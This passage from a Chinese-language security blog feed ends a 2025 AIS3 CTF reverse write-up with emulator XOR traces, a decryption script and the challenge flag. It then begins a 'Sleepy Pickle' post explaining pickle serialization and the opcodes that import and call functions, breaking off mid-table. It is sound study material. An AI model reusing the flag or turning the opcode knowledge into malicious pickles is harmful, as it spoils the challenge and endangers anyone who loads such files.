@0x1000668]</span> MEM<span class="selector-attr">[0x2003f37]</span> <span class="number">0</span>x32 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f37 ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f38]</span> <span class="number">0</span>x31 ^ <span class="built_in">AL</span>(<span class="number">0</span>x32) → <span class="number">0</span>x03</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x31</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f38 ← <span class="number">0</span>x03</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f39]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x00) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f39 ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f3a]</span> <span class="number">0</span>x30 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x01</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3a ← <span class="number">0</span>x01</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f3b]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x03) → <span class="number">0</span>x30</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3b ← <span class="number">0</span>x30</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f3c]</span> <span class="number">0</span>x33 ^ <span class="built_in">AL</span>(<span class="number">0</span>x01) → <span class="number">0</span>x32</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3c ← <span class="number">0</span>x32</span><br><span class="line"><span class="selector-attr">[XOR @0x1000668]</span> MEM<span class="selector-attr">[0x2003f3d]</span> <span class="number">0</span>x02 ^ <span class="built_in">AL</span>(<span class="number">0</span>x31) → <span class="number">0</span>x33</span><br><span class="line">寫入後 MEM = <span class="number">0</span>x02</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f3d ← <span class="number">0</span>x33</span><br><span class="line"><span class="selector-attr">[HOOK MOV]</span> @<span class="number">0</span>x01000675: mov esi, <span class="number">0</span>x11</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f04 ← <span class="number">0</span>x11</span><br><span class="line"><span class="selector-attr">[WRITE]</span> @<span class="number">0</span>x2003f00 ← <span class="number">0</span>x407068</span><br></pre></td></tr></table></figure><p>根據以上可以總結</p><ul><li><p>每次eip 會有0xaa 到0xbb的變動長度進行xor，進行的方式為</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0xbb</span>):</span><br><span class="line"> flag[i] = flag[i] ^ f[(<span class="number">0xaa</span> + i)%<span class="number">47</span>]</span><br></pre></td></tr></table></figure><p>結束後將eip更新</p></li><li><p>其中有一段特別的XOR加密，是從0x0d + i 的數值去做xor加密</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0xbb</span>):</span><br><span class="line">flag[i] = flag[i] ^ <span class="number">0x0d</span>+i</span><br></pre></td></tr></table></figure></li></ul><figure class="highlight llvm"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">1</span><span class="keyword">c</span> ← <span class="number">0x0d</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">20</span> ← <span class="number">0x32</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">1</span><span class="keyword">c</span> ← <span class="number">0x0e</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">21</span> ← <span class="number">0x02</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">1</span><span class="keyword">c</span> ← <span class="number">0x0f</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">22</span> ← <span class="number">0x30</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">1</span><span class="keyword">c</span> ← <span class="number">0x10</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">23</span> ← <span class="number">0x00</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">1</span><span class="keyword">c</span> ← <span class="number">0x11</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">24</span> ← <span class="number">0x01</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">1</span><span class="keyword">c</span> ← <span class="number">0x12</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">25</span> ← <span class="number">0x02</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">1</span><span class="keyword">c</span> ← <span class="number">0x13</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">26</span> ← <span class="number">0x30</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">1</span><span class="keyword">c</span> ← <span class="number">0x14</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">27</span> ← <span class="number">0x03</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">1</span><span class="keyword">c</span> ← <span class="number">0x15</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">28</span> ← <span class="number">0x02</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">1</span><span class="keyword">c</span> ← <span class="number">0x16</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">29</span> ← <span class="number">0x00</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">1</span><span class="keyword">c</span> ← <span class="number">0x17</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">2</span>a ← <span class="number">0x33</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">1</span><span class="keyword">c</span> ← <span class="number">0x18</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">2</span>b ← <span class="number">0x03</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">1</span><span class="keyword">c</span> ← <span class="number">0x19</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">2</span><span class="keyword">c</span> ← <span class="number">0x31</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">1</span><span class="keyword">c</span> ← <span class="number">0x1a</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">2</span>d ← <span class="number">0x30</span></span><br><span class="line">[WRITE] <span class="title">@0</span><span class="keyword">x</span><span class="number">2003</span>f<span class="number">1</span><span class="keyword">c</span> ← <span class="number">0x1b</span></span><br></pre></td></tr></table></figure><ul><li>剩下的也是進行第一點的加密方式</li></ul><p>綜合以上 可以寫出下面的解密script</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br></pre></td><td class="code"><pre><span class="line">step = [</span><br><span class="line">    (<span class="number">0x28</span>,<span class="number">0x51</span>),(<span class="number">0x20</span>,<span class="number">0x41</span>),(<span class="number">0x18</span>,<span class="number">0x31</span>),(<span class="number">0x24</span>,<span class="number">0x49</span>),(<span class="number">0x1d</span>,<span class="number">0x3b</span>),(<span class="number">0x12</span>,<span class="number">0x25</span>),</span><br><span class="line">    (<span class="number">0x0d</span>,<span class="number">0x1b</span>),(<span class="number">0x24</span>,<span class="number">0x49</span>),(<span class="number">0x0b</span>,<span class="number">0x17</span>),(<span class="number">0x1d</span>,<span class="number">0x3b</span>),(<span class="number">0x18</span>,<span class="number">0x31</span>),(<span class="number">0x1f</span>,<span class="number">0x3f</span>),</span><br><span class="line">    (<span class="number">0x15</span>,<span class="number">0x2b</span>),(<span class="number">0x0e</span>,<span class="number">0x1d</span>),(<span class="number">0x2a</span>,<span class="number">0x55</span>),(<span class="number">0x14</span>,<span class="number">0x29</span>),(<span class="number">0x0b</span>,<span class="number">0x17</span>),(<span class="number">0x06</span>,<span class="number">0x0d</span>),</span><br><span class="line">    (<span class="number">0x1a</span>,<span class="number">0x35</span>),(<span class="number">0x18</span>,<span class="number">0x31</span>),(<span class="number">0x18</span>,<span class="number">0x31</span>),(<span class="number">0x1d</span>,<span class="number">0x3b</span>),(<span class="number">0x1d</span>,<span class="number">0x3b</span>),(<span class="number">0x0e</span>,<span class="number">0x1d</span>),</span><br><span class="line">    (<span class="number">0x03</span>,<span class="number">0x07</span>),(<span class="number">0x18</span>,<span class="number">0x31</span>),(<span class="number">0x08</span>,<span class="number">0x11</span>),(<span class="number">0x08</span>,<span class="number">0x11</span>),(<span class="number">0x29</span>,<span class="number">0x53</span>),(<span class="number">0x0b</span>,<span class="number">0x17</span>),</span><br><span class="line">    (<span class="number">0x0d</span>,<span class="number">0x1b</span>),(<span class="number">0x12</span>,<span class="number">0x25</span>),(<span class="number">0x0e</span>,<span class="number">0x1d</span>),(<span class="number">0x19</span>,<span class="number">0x33</span>),(<span class="number">0x02</span>,<span class="number">0x05</span>),(<span class="number">0x17</span>,<span class="number">0x2f</span>),</span><br><span class="line">    (<span class="number">0x11</span>,<span class="number">0x23</span>),(<span class="number">0x28</span>,<span class="number">0x51</span>),(<span class="number">0x11</span>,<span class="number">0x23</span>),(<span class="number">0x04</span>,<span class="number">0x09</span>),(<span class="number">0x15</span>,<span class="number">0x2b</span>),(<span class="number">0x16</span>,<span class="number">0x2d</span>),</span><br><span class="line">    (<span class="number">0x2b</span>,<span class="number">0x57</span>),(<span class="number">0x20</span>,<span class="number">0x41</span>),(<span class="number">0x13</span>,<span class="number">0x27</span>),(<span class="number">0x0c</span>,<span class="number">0x19</span>),(<span class="number">0x2d</span>,<span class="number">0x5b</span>),(<span class="number">0x24</span>,<span class="number">0x49</span>),</span><br><span class="line">    (<span class="number">0x23</span>,<span class="number">0x47</span>),(<span class="number">0x16</span>,<span class="number">0x2d</span>),(<span class="number">0x2b</span>,<span class="number">0x57</span>),(<span class="number">0x18</span>,<span class="number">0x31</span>),(<span class="number">0x1b</span>,<span class="number">0x37</span>),(<span class="number">0x08</span>,<span class="number">0x11</span>),</span><br><span class="line">    (<span class="number">0x06</span>,<span class="number">0x0d</span>),(<span class="number">0x13</span>,<span class="number">0x27</span>),(<span class="number">0x26</span>,<span class="number">0x4d</span>),(<span class="number">0x15</span>,<span class="number">0x2b</span>),(<span class="number">0x1d</span>,<span class="number">0x3b</span>),(<span class="number">0x16</span>,<span class="number">0x2d</span>),</span><br><span class="line">    (<span class="number">0x04</span>,<span class="number">0x09</span>),(<span class="number">0x02</span>,<span class="number">0x05</span>),(<span class="number">0x0a</span>,<span class="number">0x15</span>),(<span class="number">0x09</span>,<span class="number">0x13</span>),(<span class="number">0x24</span>,<span class="number">0x49</span>),(<span class="number">0x2c</span>,<span class="number">0x59</span>),</span><br><span class="line">    (<span class="number">0x02</span>,<span class="number">0x05</span>),(<span class="number">0x11</span>,<span class="number">0x23</span>),(<span class="number">0x0f</span>,<span class="number">0x1f</span>),(<span class="number">0x22</span>,<span class="number">0x45</span>),(<span class="number">0x02</span>,<span class="number">0x05</span>),(<span class="number">0x14</span>,<span class="number">0x29</span>),</span><br><span class="line">    (<span class="number">0x0d</span>,<span class="number">0x1b</span>),(<span class="number">0x26</span>,<span class="number">0x4d</span>),(<span class="number">0x09</span>,<span class="number">0x13</span>),(<span class="number">0x27</span>,<span class="number">0x4f</span>),(<span class="number">0x1a</span>,<span class="number">0x35</span>),(<span class="number">0x21</span>,<span class="number">0x43</span>),</span><br><span class="line">    (<span class="number">0x2a</span>,<span class="number">0x55</span>),(<span class="number">0x13</span>,<span class="number">0x27</span>),(<span class="number">0x2e</span>,<span class="number">0x5d</span>),(<span class="number">0x18</span>,<span class="number">0x31</span>)</span><br><span class="line">]</span><br><span class="line"></span><br><span class="line">step2 = [</span><br><span class="line">    (<span class="number">0x29</span>, <span class="number">0x53</span>),</span><br><span class="line">    (<span class="number">0x1d</span>, <span class="number">0x3b</span>)</span><br><span class="line">]</span><br><span class="line"></span><br><span class="line">cipher_bytes = <span class="built_in">bytes</span>([</span><br><span class="line">    <span class="number">0x5a</span>,<span class="number">0x60</span>,<span class="number">0x61</span>,<span class="number">0x0f</span>,<span class="number">0x08</span>,<span class="number">0x29</span>,<span class="number">0x42</span>,<span class="number">0x32</span>,<span class="number">0x25</span>,<span class="number">0x23</span>,<span class="number">0x42</span>,<span class="number">0x68</span>,<span class="number">0x4b</span>,<span class="number">0x41</span>,</span><br><span class="line">    <span class="number">0x63</span>,<span class="number">0x55</span>,<span class="number">0x37</span>,<span class="number">0x43</span>,<span class="number">0x6a</span>,<span class="number">0x50</span>,<span class="number">0x40</span>,<span class="number">0x6f</span>,<span class="number">0x2e</span>,<span class="number">0x66</span>,<span class="number">0x49</span>,<span class="number">0x7f</span>,<span class="number">0x09</span>,<span class="number">0x66</span>,</span><br><span class="line">    <span class="number">0x79</span>,<span class="number">0x7c</span>,<span class="number">0x37</span>,<span class="number">0x18</span>,<span class="number">0x5d</span>,<span class="number">0x35</span>,<span class="number">0x46</span>,<span class="number">0x41</span>,<span class="number">0x37</span>,<span class="number">0x0f</span>,<span class="number">0x19</span>,<span class="number">0x1c</span>,<span class="number">0x30</span>,<span class="number">0x79</span>,</span><br><span class="line">    <span class="number">0x29</span>,<span class="number">0x69</span>,<span class="number">0x0a</span>,<span class="number">0x46</span>,<span class="number">0x3b</span></span><br><span class="line">])</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">decrypt</span>(<span class="params">first: <span class="built_in">int</span>, length: <span class="built_in">int</span>, data: <span class="built_in">bytearray</span></span>) -&gt; <span class="literal">None</span>:</span><br><span class="line">    now = first</span><br><span class="line">    <span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(length - <span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>):</span><br><span class="line">        j = (now + i) % <span class="number">47</span></span><br><span class="line">        data[i] ^= data[j]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">undo_xor_segment</span>(<span class="params">data: <span class="built_in">bytearray</span></span>) -&gt; <span class="literal">None</span>:</span><br><span class="line">    <span class="keyword">for</span> k <span class="keyword">in</span> <span class="built_in">range</span>((<span class="number">0x1b</span> - <span class="number">0x0d</span>) - <span class="number">1</span>, -<span class="number">1</span>, -<span class="number">1</span>):</span><br><span class="line">        data[k] ^= data[k + <span class="number">0x0d</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span><br><span class="line">    buf = <span class="built_in">bytearray</span>(cipher_bytes)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> a, b <span class="keyword">in</span> <span class="built_in">reversed</span>(step2):</span><br><span class="line">        decrypt(a, b - a, buf)</span><br><span class="line"></span><br><span class="line">    undo_xor_segment(buf)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> a, b <span class="keyword">in</span> <span class="built_in">reversed</span>(step):</span><br><span class="line">        decrypt(a, b - a, buf)</span><br><span class="line"></span><br><span class="line">    <span class="built_in">print</span>(buf)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    main()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="/./assets/unicorn1.png" alt="unicorn1"></p><p>:flags:AIS3{UniCorn_2.1.3_fk_s1ow_BUT_this_chal_cool?}</p><h2 id="AntiDbg"><a href="#AntiDbg" class="headerlink" title="AntiDbg++++"></a>AntiDbg++++</h2><p>賽後解</p>]]></content>
    
    
    <summary type="html">2025 AIS3 Reverse 題目分析與解法</summary>
    
    
    
    <category term="Writeup" scheme="https://yunshiuan.com/categories/Writeup/"/>
    
    
    <category term="Writeup" scheme="https://yunshiuan.com/tags/Writeup/"/>
    
    <category term="CTF" scheme="https://yunshiuan.com/tags/CTF/"/>
    
    <category term="AIS3" scheme="https://yunshiuan.com/tags/AIS3/"/>
    
    <category term="Reverse" scheme="https://yunshiuan.com/tags/Reverse/"/>
    
    <category term="逆向工程" scheme="https://yunshiuan.com/tags/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/"/>
    
  </entry>
  
  <entry>
    <title>Sleepy Pickle</title>
    <link href="https://yunshiuan.com/2024/10/15/SleepyPickle/"/>
    <id>https://yunshiuan.com/2024/10/15/SleepyPickle/</id>
    <published>2024-10-15T11:00:00.000Z</published>
    <updated>2026-05-11T12:09:45.323Z</updated>
    
    <content type="html"><![CDATA[<h1 id="💤🥒Sleeply-Pickle"><a href="#💤🥒Sleeply-Pickle" class="headerlink" title="💤🥒Sleeply Pickle"></a>💤🥒Sleeply Pickle</h1><p>Demo code : <a href="https://github.com/YunshiuanOAO/SleepyPickle-Demo">https://github.com/YunshiuanOAO/SleepyPickle-Demo</a></p><p>Slido : <a href="https://speakerdeck.com/yunshiuanoao/sleeplypickle">https://speakerdeck.com/yunshiuanoao/sleeplypickle</a></p><h2 id="♻️序列化-Serialization-反序列化-Deserialization"><a href="#♻️序列化-Serialization-反序列化-Deserialization" class="headerlink" title="♻️序列化(Serialization)&#x2F;反序列化(Deserialization)"></a>♻️序列化(Serialization)&#x2F;反序列化(Deserialization)</h2><p>序列化是將一個資料結構或物件轉換成一種可以儲存或交換的格式（如位元組流、JSON、XML 等）。這樣的轉換讓物件能夠寫入檔案、透過網路傳輸，或儲存在資料庫中。</p><p>反序列化則是將儲存的數據或接收到的數據轉換回原始的物件或資料結構。</p><p><img src="/./assets/picklePic.png" alt="alt text"></p><hr><h2 id="🥒-What-is-Pickle"><a href="#🥒-What-is-Pickle" class="headerlink" title="🥒 What is Pickle?"></a>🥒 What is Pickle?</h2><p>Pickle 是 Python 的內建模組，提供了將 Python 物件序列化和反序列化的功能。</p><p>常見用途</p><dl><dt>:    將物件儲存到檔案中，方便之後載入。<br>:    將物件透過網路或其他通道進行傳輸。</dt><dd><strong>快速儲存和載入機器學習模型、配置檔或計算結果</strong>。</dd></dl><p>支援的物件類型</p><dl><dt>:    Pickle 支援多種 Python 內建的資料型態，包括：<br>:    ✔️ 數字（int, float）<br>:    ✔️ 字串（str）<br>:    ✔️ 列表（list）、元組（tuple）、字典（dict）、集合（set）<br>:    ✔️ 自訂類別物件</dt><dd>✔️ 函數</dd></dl><p>Example : </p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> pickle</span><br><span class="line"><span class="keyword">import</span> pickletools</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">data = &#123;<span class="string">&quot;name&quot;</span>: <span class="string">&quot;Alice&quot;</span>, <span class="string">&quot;age&quot;</span>: <span class="number">30</span>, <span class="string">&quot;scores&quot;</span>: [<span class="number">88</span>, <span class="number">92</span>, <span class="number">95</span>]&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;data.pkl&quot;</span>, <span class="string">&quot;wb&quot;</span>) <span class="keyword">as</span> file:</span><br><span class="line">    pickle.dump(data, file, protocol=<span class="number">0</span>)</span><br><span class="line">    <span class="built_in">print</span>(<span class="string">&quot;Data has been successfully serialized to data.pkl&quot;</span>)</span><br><span class="line"></span><br><span class="line"><span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&quot;data.pkl&quot;</span>, <span class="string">&quot;rb&quot;</span>) <span class="keyword">as</span> file:</span><br><span class="line">    unpickled_data = pickle.load(file)</span><br><span class="line">    <span class="built_in">print</span>(unpickled_data)</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>Output: </p><figure class="highlight lasso"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">Data</span> has been successfully serialized <span class="keyword">to</span> <span class="built_in">data</span>.pkl</span><br><span class="line">&#123;<span class="string">&#x27;name&#x27;</span>: <span class="string">&#x27;Alice&#x27;</span>, <span class="string">&#x27;age&#x27;</span>: <span class="number">30</span>, <span class="string">&#x27;scores&#x27;</span>: <span class="meta">[</span><span class="number">88</span>, <span class="number">92</span>, <span class="number">95</span><span class="meta">]</span>&#125;</span><br></pre></td></tr></table></figure><p>可以使用pickletools將pickle執行的內容dump出來</p><figure class="highlight nestedtext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line">    <span class="attribute">0</span><span class="punctuation">:</span> <span class="string">(    MARK</span></span><br><span class="line">    <span class="attribute">1</span><span class="punctuation">:</span> <span class="string">d        DICT       (MARK at 0)</span></span><br><span class="line">    <span class="attribute">2</span><span class="punctuation">:</span> <span class="string">p    PUT        0</span></span><br><span class="line">    <span class="attribute">5</span><span class="punctuation">:</span> <span class="string">V    UNICODE    &#x27;name&#x27;</span></span><br><span class="line">   <span class="attribute">11</span><span class="punctuation">:</span> <span class="string">p    PUT        1</span></span><br><span class="line">   <span class="attribute">14</span><span class="punctuation">:</span> <span class="string">V    UNICODE    &#x27;Alice&#x27;</span></span><br><span class="line">   <span class="attribute">21</span><span class="punctuation">:</span> <span class="string">p    PUT        2</span></span><br><span class="line">   <span class="attribute">24</span><span class="punctuation">:</span> <span class="string">s    SETITEM</span></span><br><span class="line">   <span class="attribute">25</span><span class="punctuation">:</span> <span class="string">V    UNICODE    &#x27;age&#x27;</span></span><br><span class="line">   <span class="attribute">30</span><span class="punctuation">:</span> <span class="string">p    PUT        3</span></span><br><span class="line">   <span class="attribute">33</span><span class="punctuation">:</span> <span class="string">I    INT        30</span></span><br><span class="line">   <span class="attribute">37</span><span class="punctuation">:</span> <span class="string">s    SETITEM</span></span><br><span class="line">   <span class="attribute">38</span><span class="punctuation">:</span> <span class="string">V    UNICODE    &#x27;scores&#x27;</span></span><br><span class="line">   <span class="attribute">46</span><span class="punctuation">:</span> <span class="string">p    PUT        4</span></span><br><span class="line">   <span class="attribute">49</span><span class="punctuation">:</span> <span class="string">(    MARK</span></span><br><span class="line">   <span class="attribute">50</span><span class="punctuation">:</span> <span class="string">l        LIST       (MARK at 49)</span></span><br><span class="line">   <span class="attribute">51</span><span class="punctuation">:</span> <span class="string">p    PUT        5</span></span><br><span class="line">   <span class="attribute">54</span><span class="punctuation">:</span> <span class="string">I    INT        88</span></span><br><span class="line">   <span class="attribute">58</span><span class="punctuation">:</span> <span class="string">a    APPEND</span></span><br><span class="line">   <span class="attribute">59</span><span class="punctuation">:</span> <span class="string">I    INT        92</span></span><br><span class="line">   <span class="attribute">63</span><span class="punctuation">:</span> <span class="string">a    APPEND</span></span><br><span class="line">   <span class="attribute">64</span><span class="punctuation">:</span> <span class="string">I    INT        95</span></span><br><span class="line">   <span class="attribute">68</span><span class="punctuation">:</span> <span class="string">a    APPEND</span></span><br><span class="line">   <span class="attribute">69</span><span class="punctuation">:</span> <span class="string">s    SETITEM</span></span><br><span class="line">   <span class="attribute">70</span><span class="punctuation">:</span> <span class="string">.    STOP</span></span><br><span class="line">highest protocol among opcodes = 0</span><br></pre></td></tr></table></figure><p>由上面的資訊可以得知，其實Pickle在反序列化的過成就很像一個簡易的堆疊虛擬機在執行，透過Opcode並且在Pickle Virtual Machine執行<br>主要由這三個</p><ul><li><p>指令處理器 (Instruction Processor)</p><p>  從指令流 (byte stream) 中讀取 opcode 與參數，並依序進行解譯與處理。</p><p>  不斷重複「讀取 -&gt; 處理」的流程，直到遇到結束符號（通常是 .）後停止。</p><p>  反序列化結束時，最終留在 stack 頂端的值將作為反序列化結果返回。</p></li><li><p>Stack (堆疊)</p><p>  由 Python 的 list 實作。</p><p>  用於暫時儲存資料、參數以及各種物件。</p><p>  各種 opcode 會操作此堆疊（如推入、彈出、組合容器等）。</p></li><li><p>Memo (備忘錄)</p><p>  由 Python 的 dict 實作。</p><p>  在 PVM 整個生命週期中，負責儲存先前出現過的物件，以便重複引用或避免重複建立。</p><p>  透過索引或序號 (index) 來存取對應物件。</p></li></ul><p>以下為常用的opcode </p><table><thead><tr><th align="center"><strong>指令</strong></th><th align="left"><strong>描述</strong></th><th align="left"><strong>具體寫法</strong></th><th align="left"><strong>對 stack 的變化</strong></th></tr></thead><tbody><tr><td align="center"><strong>c</strong></td><td align="left">取得一個全局物件或 import 一個模組</td><td align="left"><code>c[module]\n[instance]\n</code></td><td align="left">取得的物件入 stack</td></tr><tr><td align="center"><strong>o</strong></td><td align="left">尋找 stack 中的上一個 MARK，以之間的第一個資料（必須為函數）為 callable，第二個到第 n 個資料為參數，執行該函數（或實例化一個物件）</td><td align="left"><code>o</code></td><td align="left">這個過程中涉及到的資料都出 stack，函數的返回值（或生成的物件）入 stack</td></tr><tr><td align="center"><strong>i</strong></td><td align="left">相當於 c 和 o 的組合，先取得一個全局函數，然後尋找 stack 中的上一個 MARK，並組合之間的資料為元組，再以該元組為參數執行全局函數（或實例化一個物件）</td><td align="left"><code>i[module]\n[callable]\n</code></td><td align="left">這個過程中涉及到的資料都出 stack，函數返回值（或生成的物件）入 